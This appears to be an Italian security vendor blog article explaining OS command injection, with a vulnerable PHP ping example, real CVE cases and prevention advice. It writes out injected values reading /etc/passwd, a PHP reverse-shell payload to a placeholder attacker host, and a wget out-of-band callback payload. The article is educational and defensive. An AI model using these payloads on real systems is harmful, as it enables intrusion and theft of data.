L’OS command injection è una vulnerabilità delle applicazioni web che consente agli hacker di eseguire comandi arbitrari sul sistema operativo sottostante. Queste vulnerabilità si verificano quando le applicazioni web chiamano comandi del sistema operativo con input fornito dall’utente come argomenti. La vulnerabilità può anche essere identificata come CWE-77 o CWE-78.
Considera un'applicazione web destinata a monitorare i sistemi interni e a fornire Avvisi quando uno dei sistemi va offline. In questo scenario, l'applicazione potrebbe voler testare la raggiungibilità di rete verso la destinazione ed esegue questa operazione eseguendo un comando ping. Se l'applicazione è scritta in PHP, il codice sottostante potrebbe essere simile al seguente:
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)In questo esempio, la funzione exec di PHP esegue il comando ping con il valore fornito dall'utente per ‘ip_address’ aggiunto alla fine come destinazione per testarne la raggiungibilità. Se, tuttavia, un hacker fornisce invece localhost; cat /etc/passwd come Indirizzo IP fornito, verranno eseguiti sia il comando ping sia il secondo comando avviato dopo il punto e virgola. In caso di successo, l'hacker avrà quindi l'esecuzione "full" dei comandi e potrà eseguire un numero qualsiasi di comandi dannosi per tentare di aumentare il livello di accesso, recuperare informazioni sensibili, mantenere la persistenza o passare ad altri obiettivi sulla rete. A causa del suo impatto spesso più devastante, le vulnerabilità di command injection sono in genere considerate più gravi rispetto ad altre vulnerabilità delle applicazioni web.
Che cosa non è l'iniezione di comandi del sistema operativo?
L’iniezione di comandi viene spesso confusa con altri attacco injection, in particolare con l’ iniezione di codice. Il modo più semplice per distinguere tra le due vulnerabilità è il metodo e il contesto dell'esecuzione del payload:
L'iniezione di comandi viene eseguita in particolare nel contesto dei programmi shell del sistema operativo sottostante (ad esempio bash, PowerShell) tramite l'iniezione nella chiamata a un programma esterno.
L'iniezione di codice viene eseguita nel contesto del linguaggio di programmazione in uso. Un esempio potrebbe essere l'iniezione nelle funzioni include o eval di PHP e la possibilità di eseguire codice PHP arbitrario.
Il punto in cui a volte ci si confonde è quando un payload di command injection contiene codice di linguaggi di programmazione come PHP. Ad esempio, considera l'utilizzo del seguente payload di command injection nel nostro esempio precedente che avvierà una reverse shell:
localhost; php -r '$sock=fsockopen("hacker.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'Poiché il payload contiene principalmente codice PHP, a prima vista potrebbe sembrare Code Injection. Tuttavia, l'inizio del payload è ciò che dimostra che si tratta effettivamente di command injection. In questo esempio, il punto e virgola termina il comando ping prima che il comando PHP venga eseguito. php -r esegue quindi il seguente codice PHP sulla riga di comando, che in questo caso è una shell inversa verso l’Indirizzo IP dell’hacker. Mentre il codice PHP viene eseguito nel nostro payload, si tratta di un'iniezione di comandi del sistema operativo perché stiamo iniettando negli argomenti del programma shell del sistema operativo.
Esempi reali di command injection del sistema operativo
Con una comprensione di cosa sia e non sia l’iniezione di comandi OS, diamo un’occhiata ad alcuni esempi reali di questo attacco e a come sono stati eseguiti.
Iniezione di comandi OS in NagiosXI: Common Vulnerability and Exposure-2021-25296(7,8)
Le versioni 5.5.6-5.7.5 di NagiosXI sono state interessate da tre distinti casi di iniezione di comandi. Il nostro precedente esempio di ping è in realtà liberamente tratto da Common Vulnerability and Exposure-2021-25298, la cui vulnerabilità di command injection risiedeva in una chiamata a ping tramite la funzione exec di PHP con un Indirizzo IP fornito dall’utente. Nella nostra analisi dettagliata di questi CVE, dimostriamo l’uso pratico di queste vulnerabilità avviando sia shell remote Meterpreter sia callback a interactsh di Project Discovery. Come rilevato da CISA al momento della stesura di questo testo, questi CVE vengono attivamente sfruttati dagli hacker nel mondo reale, a dimostrazione del loro potenziale valore nel compromettere i sistemi.
Iniezione di comandi del sistema operativo in ManageEngine ADManagerPlus: Common Vulnerability and Exposure-2023-29084
Questa particolare vulnerabilità di command injection dimostra perfettamente come non prevenire la command injection. Dinh Hoang ha scritto un ottimo articolo che descrive la vulnerabilità, in particolare come ADManagerPlus utilizza una funzione CommonUtil.getPowerShellEscapedValue per eseguire l'escape di un nome utente e di un valore password forniti dall'utente per un comando reg add. Tuttavia, questa funzione non esegue l'escape dei caratteri CRLF, il che consente di inserire il seguente payload come password e avviare calc: [any-content]\r\ncalc.exe. Come vedremo più avanti, eseguire questo tipo di sanitizzazione dell’input può causare errori, nuovi bypass o metacaratteri non rilevati che possono portare a future injection di comandi.
Iniezione di comandi del sistema operativo come vista dai WAF
Il Next-Gen WAF di Fastly protegge dagli attacchi injection di comandi. Analizzando alcuni payload di command injection osservati, possiamo vedere cosa inviano gli hacker per rilevare vulnerabilità di command injection del sistema operativo.
Esempio di payload 1: esegui il ping di “sleep” nei dati della richiesta POST
language=&ping -c 25 127.0.0.1 &Questo payload è un tentativo diretto di command injection nel campo della lingua. Utilizza anche una tecnica di blind command injection, poiché non si basa sul recupero dell’output del comando per rilevare l’iniezione. Innanzitutto, il payload utilizza il metacarattere & per eseguire il secondo comando mentre il primo comando viene eseguito in background. Il payload contiene il comando ping con il flag -c, che indica a ping di inviare 25 pacchetti, uno al secondo. Analizzando il tempo di risposta, un hacker può determinare se il comando iniettato è stato eseguito. Questa tecnica può tuttavia non riuscire se l'applicazione di destinazione non attende il completamento del comando eseguito prima di inviare una risposta HTTP, limitandone così l'efficacia. Vediamo un esempio più interessante di blind command injection che non presenta questa limitazione.
Esempio di payload 2: wget nei dati della richiesta post
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#Questo payload utilizza un'interazione di rete out-of-band, una tecnica di blind command injection che si basa sul rilevamento di una richiesta di rete in uscita dal comando iniettato per rilevare la command injection. Analizziamo il payload nelle sue due parti: l’escape e la configurazione del comando, e il contenuto del comando iniettato.
Il payload viene inserito nel campo macAddress e contiene due metacaratteri per facilitare l'injection di comandi. Per prima cosa, il punto e virgola indica la fine del primo comando, così il comando dell'hacker può essere eseguito. Alla fine del payload iniettato, l'hacker usa il metacarattere # come modo per trasformare in commento tutti i dati successivi. Questo è utile se l'argomento in cui stanno eseguendo l'injection non è l'argomento finale nel comando, poiché tutti gli argomenti successivi verranno ignorati come parte del commento.
La parte del comando iniettato del payload è il comando wget, che contatta un sottodominio di oast.site, uno dei domini di callback predefiniti utilizzati da interactsh di Project Discovery. OAST si riferisce al test di sicurezza delle applicazioni out-of-band, che interactsh facilita utilizzando sottodomini e payload univoci per determinare se l'attacco mirato ha avuto successo. Esistono diversi altri dominio utilizzati da interactsh e da altri strumenti che facilitano lo stesso tipo di test, di cui abbiamo osservato in precedenza un uso intensivo.
Come prevenire l'iniezione di comandi del sistema operativo
Esistono diversi modi per prevenire l'iniezione di comandi del sistema operativo, che variano per efficacia e svantaggi. Di seguito troverai soluzioni pratiche per prevenire questo tipo di attacco.
Impedisci al codice dell'applicazione di chiamare i comandi del sistema operativo
Non richiamare mai comandi del sistema operativo dal codice dell'applicazione. Questo elimina completamente la possibilità di vulnerabilità di injection dei comandi del sistema operativo, rimuovendo i comandi iniettati stessi. Utilizzare metodi alternativi per eseguire le stesse azioni è un'opzione più sicura e preferibile.
Applica una rigorosa validazione degli input
Se nel tuo ambiente non è possibile evitare di rimuovere le chiamate ai comandi del sistema operativo, una rigorosa convalida degli input è essenziale per prevenire le vulnerabilità di injection dei comandi del sistema operativo. Una rigorosa validazione degli input è diversa dalla sanitizzazione degli input. La convalida dell’input richiede di garantire che l’input dell’utente contenga solo valori sicuri per consentire all’applicazione di passarli ai comandi del sistema operativo. Alcuni esempi di una solida validazione degli input sono:
Convalida che l'input sia contenuto in un elenco di valori consentiti.
Convalida che l'input fornito sia del tipo corretto (ad esempio, un numero intero o un Indirizzo IP).
Convalida che l'input contenga solo valori alfanumerici.
Sanitizza l'input utente (non consigliato)
Se nessuna di queste opzioni è possibile, la sanificazione dell’input dell’utente tramite l’escape dei metacaratteri della shell (ad es., & o ;) dovrebbe essere l’ultima risorsa. È difficile eseguire correttamente questa sanitizzazione a causa dei molti modi in cui i metacaratteri possono essere rappresentati e interpretati da diversi sistemi operativi e di come i metodo di sanitizzazione possano essere aggirati. Common Vulnerability and Exposure-2023-29084 mette in evidenza i possibili problemi di questo metodo, poiché un metacarattere mancante (CRLF) ha portato a un'iniezione di comandi riuscita. Sebbene la sanitizzazione protegga spesso dai payload di injection di comandi del sistema operativo più facili da individuare, non è una soluzione completa sia per la difficoltà di implementarla correttamente sia per le possibilità di bypass.
Riepilogo
L'iniezione di comandi del sistema operativo è in genere una grave vulnerabilità delle applicazioni web che consente agli hacker di eseguire comandi arbitrari sul sistema operativo sottostante. Viene spesso confuso con Code Injection, ma opera nel contesto dei programmi shell del sistema operativo sottostante, mentre Code Injection opera nel contesto del linguaggio di programmazione in uso. L'iniezione di comandi del sistema operativo può avere impatti devastanti e, come mostrano i nostri esempi reali, è ancora un vettore di attacco usato frequentemente. Tuttavia, le applicazioni possono prevenire l’iniezione di comandi del sistema operativo usando le soluzioni che abbiamo illustrato. Se hai difficoltà a bloccare l'iniezione di comandi del sistema operativo, o utilizzi un prodotto che in passato ha presentato vulnerabilità di iniezione di comandi del sistema operativo, dai un'occhiata al Next-Gen WAF di Fastly per proteggerti da questi attacco e altro ancora.